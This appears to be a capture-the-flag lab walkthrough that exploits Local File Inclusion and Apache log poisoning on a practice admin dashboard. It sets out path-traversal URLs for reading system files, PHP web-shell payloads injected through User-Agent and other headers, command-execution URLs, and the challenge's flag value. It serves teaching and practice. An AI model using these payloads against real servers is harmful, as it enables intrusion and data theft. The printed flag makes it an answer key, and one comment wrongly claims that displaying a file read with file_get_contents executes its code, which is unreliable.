Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
The SecureCorp Admin Dashboard contains a Local File Inclusion (LFI) vulnerability in its page inclusion mechanism and log viewer functionality. The application fails to properly validate user input when including files, allowing attackers to read arbitrary files from the server and potentially achieve code execution through Apache access log poisoning.
http://<target-ip>
to access the SecureCorp Admin Dashboard?page=dashboard
, ?page=logs
, etc.# Test basic LFI
http://<target-ip>?page=../../../etc/passwd
http://<target-ip>?page=../../../etc/hosts
http://<target-ip>?page=../../../proc/version
# Access via log viewer
http://<target-ip>?page=logs&logfile=../../../etc/passwd
http://<target-ip>?page=logs&custom_path=/etc/passwd
# Read Apache access logs
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log
User-Agent log poisoning involves injecting malicious PHP code into Apache access logs by sending HTTP requests with PHP code in the User-Agent header.
# Basic PHP command execution payload
<?php system($_GET['cmd']); ?>
# Alternative payload for file reading
<?php echo file_get_contents($_GET['file']); ?>
# Multi-purpose payload
<?php if($_GET['cmd']) system($_GET['cmd']); if($_GET['file']) readfile($_GET['file']); ?>
# cURL injection command
curl http://<target-ip> -H "User-Agent: <?php system($_GET['cmd']); ?>"
# Alternative using wget
wget --user-agent="<?php system($_GET['cmd']); ?>" http://<target-ip>
# Using Burp Suite or manual request
GET / HTTP/1.1
Host: http://<target-ip>
User-Agent: <?php system($_GET['cmd']); ?>
# Execute the injection
curl http://<target-ip> -H "User-Agent: <?php system($_GET['cmd']); ?>"
# The request will be logged in /var/log/apache2/access.log
# with the PHP code in the User-Agent field
# Check access.log via LFI
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log
# Command execution via poisoned log
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=whoami
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=id
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=cat /opt/backups/legacy/archive/2023/q4/dec/temp/.hidden/flag.txt
# First, search for the flag file location (deep enumeration required)
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=find / -name "*flag.txt*" 2>/dev/null
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=find / -name "flag.txt" 2>/dev/null
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /opt/
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=find /opt -type f -name "*.txt" 2>/dev/null
# Navigate through the deep directory structure
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /opt/backups/
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /opt/backups/legacy/
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /opt/backups/legacy/archive/
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /opt/backups/legacy/archive/2023/q4/dec/temp/
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=ls -la /opt/backups/legacy/archive/2023/q4/dec/temp/.hidden/
# Finally retrieve the flag
http://<target-ip>?page=logs&logfile=/var/log/apache2/access.log&cmd=cat /opt/backups/legacy/archive/2023/q4/dec/temp/.hidden/flag.txt
bad50c39-7eb0-4904-81c1-852466ed925c
# Direct file inclusion via page parameter
http://<target-ip>?page=/var/log/apache2/access.log&cmd=cat /opt/backups/legacy/archive/2023/q4/dec/temp/.hidden/flag.txt
http://<target-ip>?page=../../../var/log/apache2/access.log&cmd=whoami
# Using PHP filters for file reading
http://<target-ip>?page=php://filter/read=convert.base64-encode/resource=/etc/passwd
http://<target-ip>?page=php://filter/resource=/var/log/apache2/access.log
# Poison via other headers (if logged)
curl http://<target-ip> -H "Referer: <?php system($_GET['cmd']); ?>"
curl http://<target-ip> -H "X-Forwarded-For: <?php system($_GET['cmd']); ?>"
# Check error logs if access fails
http://<target-ip>?page=logs&logfile=/var/log/apache2/error.log
The vulnerable code in index.php:
function loadPage($page) {
// VULNERABLE: Only basic sanitization
$page = str_replace(['http://', 'https://', 'ftp://'], '', $page);
$pagePath = "pages/" . $page . ".php";
if (file_exists($pagePath)) {
return $pagePath;
}
// VULNERABLE: Direct file inclusion without validation
if (file_exists($page)) {
return $page;
}
}
// Direct inclusion without sanitization
include($currentPage);
The log viewer vulnerability in logs.php:
// VULNERABLE: Direct file access without validation
if (file_exists($logFile)) {
$logContent = file_get_contents($logFile);
// Content is directly displayed - allows code execution if poisoned
}
This LFI Log Poison challenge demonstrates one of the most sophisticated attack vectors in web application security: combining Local File Inclusion vulnerabilities with User-Agent log poisoning techniques to achieve remote code execution. By exploiting the application's file handling mechanisms and Apache access logging, attackers can escalate from simple file disclosure to complete system compromise. This challenge showcases the importance of implementing comprehensive input validation and understanding how web server logging can become an attack vector.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.